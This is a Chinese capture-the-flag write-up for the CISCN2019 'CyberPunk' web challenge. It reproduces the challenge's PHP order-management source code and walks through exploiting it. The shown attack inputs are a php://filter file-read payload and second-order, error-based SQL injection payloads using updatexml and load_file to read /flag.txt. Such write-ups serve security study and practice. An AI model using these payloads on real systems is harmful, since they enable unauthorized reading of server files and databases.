[CISCN2019 华北赛区 Day1 Web5]CyberPunk
打开网页,查看源代码,发现源码底部注释提示<!--?file=?--> 。这个提示表明我们需要传递一个参数来获得一个文件,所以想到用php://filter/ 协议来获取index.php 的源代码,输入url:
?file=php://filter/convert.base64-encode/resource=index.php
base64解码后,index.php 源码:
<?php
ini_set('open_basedir', '/var/www/html/');
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->
查阅PHP手册:
ini_set (PHP 4, PHP 5, PHP 7, PHP 8) ini_set — 为一个配置选项设置值
config.php
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
查询PHP手册:
addslashes (PHP 4, PHP 5, PHP 7, PHP 8) addslashes — 使用反斜线引用字符串,返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(' )、双引号(" )、反斜线(\ )与 NUL(null 字符)。
注意到user_name 和phone 都有严格的过滤,address 也因为addslashes 函数,导致没有诸如的办法,但是我们可以利用change.php 来查询,重点注意这句话:
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
虽然我们在change.php 页面不能进行任何有效的注入,但这句查询语句却利用了数据库里面本来就有的旧地址old_address 来查询,也就是说,如果数据库里面的address 本身就是一个注入,那执行这句话后,我们不就能进行我们的注入?所以我们的目标就是存一个可以注入address 到数据库。仔细阅读源代码confirm.php :
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
发现添加数据的confirm.php 中虽然依然对user_name 和phone 用正则匹配进行了严格的过滤,但对于我们输入的address 没有任何过滤,所以这里我们就可以存储注入语句到数据库里面。现在我们解决了任意注入的问题,那如何获得数据呢?当使用change.php 查询当前数据库存在的数据,我们可以查询时出现报错来获得数据。因此就要用到updatexml 函数:
updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document 是String 格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath 格式的字符串) 。
第三个参数:new_value ,String 格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
添加数据时应当写入:
1' where user_id=updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),1)
0x7e 代表~ ,concat() 函数为字符串连接函数,updatexml 的第二个参数需要Xpath 格式的字符串,以~ 开头的内容不是xml 格式的语法,不符合规则,但是会将括号内的执行结果以错误的形式报出。当我们使用change.php 查询时,查询语句为:
update `user` set `address`='$address', `old_address`='$row['address']' where `user_id`= $row['user_id'];
替换后为:
update `user` set `address`='$address', `old_address`='1' where user_id=updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),1)
最后的查询语句为:
update `user` set `address`='$address', `old_address`='1' where user_id=updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),1)
因为在函数updatexml 中以~ 开头的内容不是xml 格式的语法,不符合规则,但是会将括号内的执行结果以错误的形式报出,所以会执行:
select load_file('/flag.txt')
报错内容有长度限制,显示的flag不完整,所以用right 函数把右边的内容显示出来。用不同的user_name 和phone 再查询一次:
1' where user_id=updatexml(1,concat(0x7e,right((select load_file('/flag.txt')),31)),1)
References
https://www.jianshu.com/p/d44fcbb9dbc8
https://blog.csdn.net/mochu7777777/article/details/105126765/
https://www.cnblogs.com/c1047509362/p/12806297.html
https://www.cnblogs.com/kevinbruce656/p/11347127.html
|